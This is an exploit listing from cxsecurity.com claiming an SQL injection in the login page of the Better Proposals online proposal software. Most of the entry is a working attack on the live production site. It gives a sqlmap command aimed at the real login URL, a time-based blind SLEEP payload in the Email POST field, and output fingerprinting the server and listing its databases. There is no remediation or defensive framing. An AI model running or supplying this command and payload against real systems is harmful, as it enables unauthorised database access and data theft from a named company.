Better Proposals: Online Proposal Software | SQL Injection

2021.07.27
tr 0x01369 (TR) tr
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

# Exploit Title:Better Proposals: Online Proposal Software | SQL Injection Vulnerability # Author: Чингис хаан # Tested On: Kali Linux # sqlmap -u "https://betterproposals.io/2/login/" --form --dbs --batch --------------------------------------------------------------------------------------------------- .io British Territories in the Indian Ocean Better Proposals: Online Proposal Software Online Proposal Software - Better Proposals https://betterproposals.io/2/login/ --- Parameter: Email (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: Email=rLlf' AND (SELECT 5491 FROM (SELECT(SLEEP(5)))kKlT) AND 'hbrR'='hbrR&Password=&login=Sign In&RememberMe=1 --- the back-end DBMS is MySQL web application technology: Apache 2.4.39, PHP 5.6.40 the back-end DBMS: MySQL >= 5.0.12 available databases [8]: [+] better_blog [+] information_schema [+] innodb [+] mysql [+] performance_schema [+] rpawsuebaq [+] sys [+] tmp

References:

0x01369


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top